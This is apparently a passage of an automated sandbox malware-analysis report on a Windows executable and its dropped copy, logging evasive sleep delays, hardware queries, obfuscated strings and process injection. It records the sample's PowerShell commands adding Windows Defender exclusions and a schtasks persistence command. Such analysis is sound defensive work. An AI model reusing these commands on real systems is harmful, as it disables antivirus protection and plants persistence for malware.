Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96169s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96061s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95838s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95495s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95153s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -95031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -94921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -94812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -94703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -94593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -94484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -94375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -94265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7420	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7620	Thread sleep count: 2000 > 30
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -99891s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7620	Thread sleep count: 7850 > 30
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -99766s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -99381s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -99250s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -99141s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -99030s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98922s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98813s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98703s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98594s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98469s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98359s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98250s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98139s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -98031s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97922s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97812s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97702s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97594s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97469s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97324s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97219s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97109s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -97000s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96891s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96781s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96672s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96563s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96438s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96328s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96219s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -96094s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95984s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95875s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95766s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95656s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95547s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95438s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95313s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95203s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -95094s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -94969s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -94859s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -94750s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -94641s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -94531s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -94422s >= -30000s
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe TID: 7612	Thread sleep time: -94312s >= -30000s

Source: C:\Users\user\Desktop\P020241901.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\P020241901.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\P020241901.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99888	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99774	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99661	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99186	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 99077	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98965	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98843	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98734	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98625	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98501	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98375	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98265	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98156	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 98047	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97937	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97828	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97718	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97609	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97500	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97390	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97281	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97171	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 97062	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96953	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96843	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96734	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96625	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96515	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96406	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96169	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 96061	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95953	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95838	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95718	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95609	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95495	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95375	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95265	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95153	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 95031	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 94921	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 94812	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 94703	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 94593	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 94484	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 94375	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 94265	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 99891
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 99766
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 99381
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 99250
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 99141
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 99030
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98922
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98813
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98703
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98594
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98469
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98359
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98250
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98139
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 98031
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97922
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97812
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97702
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97594
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97469
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97324
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97219
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97109
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 97000
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96891
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96781
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96672
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96563
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96438
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96328
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96219
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 96094
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95984
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95875
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95766
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95656
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95547
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95438
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95313
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95203
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 95094
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 94969
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 94859
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 94750
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 94641
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 94531
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 94422
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 94312

Source: P020241901.exe, 00000000.00000002.2018716291.0000000006C90000.00000004.08000000.00040000.00000000.sdmp, P020241901.exe, 00000000.00000002.2002617637.00000000038E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: go06C9moK82tIqZfYyXFyHnObvr3rETjTdJKrovpuWOrJRdZAY1NhbL6xr2KDkKl0X9RNbitViXC2bICkPN7xvjou9v8j7Vr46OJCQSUieKOLS7BVe6fJxxEsYdQMjUserControlSystem.Windows.FormsBsoJdVRmu5nnFQavYBUITypeEditorSystem.Drawing.DesignSystem.DrawingvZWtiWV13yU3vV9Kh5EnumV2nvDqc7RyF0ks5tTrJObTin3CXn6UMXNCsYzcoFxPGFG5DVnMwYGRLZOicG8haQp72CnjdtMulticastDelegateWH7aWt1NlDl4G9LLBFYYHtB798QniySMMM3jDkSAcHTR8C2aoXqeq2q751oqafFxvmHuowBuyvIvDuj2O5iArGaAZKKZtlkCWLjY5O1adiwSorcrF8N30gtjjgfmGtor1EDL2bYKO2jKJdiezsOj0QLGA0LU4RrWXoiDBn8aFBLTN9MUyKfMNhIACoJgfVWl8ZPi84JFSVG6w8tDxTTva1AXJDxZW4CBlmB1X6LC85HIoPtUAkW23ojW43PIBYdwKu7ZXXPrjHPgpkJr4plIk3p1lMaVhOaokelDeCr6UGmcdOJNjxaf2Hv8uSR1LPhVp97Xo3Hjt6Pv64bOLnHfyggiGViri5EAGY8Y8kxhMon41UfUXZQosr60DTwgEvRkgLjLLSsfE0cNje9TcX0xAKQDM7LNZDFXeZkIvxW4V3GyxGyWIbYb8sMhFtXyAAW6DLme7sX2nkHVGFMOkfDOBO4V0TYJE8HF53XACrpCXanipSlFsT8289XTMyob6RQUhhW6Vl5ku9s71gq1ZDn8bwgwkvCiyphBY1Bmn1A8FYmoH9uW1uhjX5Oiqh7yN2HxwtDEnihgHyZauUHyt3XGD6icUQC0Cnq4SE2xEventArgsve7tyRHs4WHXJfRZvpApplicationExceptioncadg7Rdhg8q8Fy4m9yqTFDAaqqKDin8RPIp2jUDTrMKoAfDNbGILbvqfrOihsrVIqemUYdKbiGTtMKSJFrUfVV0vaACL65FXeurTn9E8fCEaG3IEi4ompnZTtFNQRsvIhF1ut1HeAV7lN7QKtQZKKOEqWWpeP4VpafbPNNRdxo201VexQ9abRandomIy6OlWlTI2sYZDWQ9KDgvB8pzEaIlIvY5eQSExpandableObjectConverterSystem.ComponentModelVWxAWNb5I4Q1gTqGVMCkWnSbhbbCWtgjjeSpSOIue4QBbmdGk7MRxcCKKQXEfCQbO4ejMkoi2pkL<Module>{A5B7D210-A563-43EF-9C8F-E1ED8BE4CD90}QXB9VtbDufJ2i45vqGSkde3Y8bIspnpq32sr85xLIHnQbRku0p32M98TE<PrivateImplementationDetails>{331EA7A6-2D0B-4CE5-86FC-A51130E255B7}__StaticArrayInitTypeSize=256__StaticArrayInitTypeSize=40__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=32__StaticArrayInitTypeSize=16__StaticArrayInitTypeSize=64__StaticArrayInitTypeSize=18
Source: P020241901.exe, 00000000.00000002.2018716291.0000000006C90000.00000004.08000000.00040000.00000000.sdmp, P020241901.exe, 00000000.00000002.2002617637.00000000038E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qfrOihsrVIqemUYdKb
Source: VKkzqGUhsZwwm.exe, 0000000E.00000002.3242832019.0000000006130000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: P020241901.exe, 00000009.00000002.3231496428.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\P020241901.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\P020241901.exe	Memory written: C:\Users\user\Desktop\P020241901.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory written: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process created: C:\Users\user\Desktop\P020241901.exe C:\Users\user\Desktop\P020241901.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process created: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Jump to behavior

Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Users\user\Desktop\P020241901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
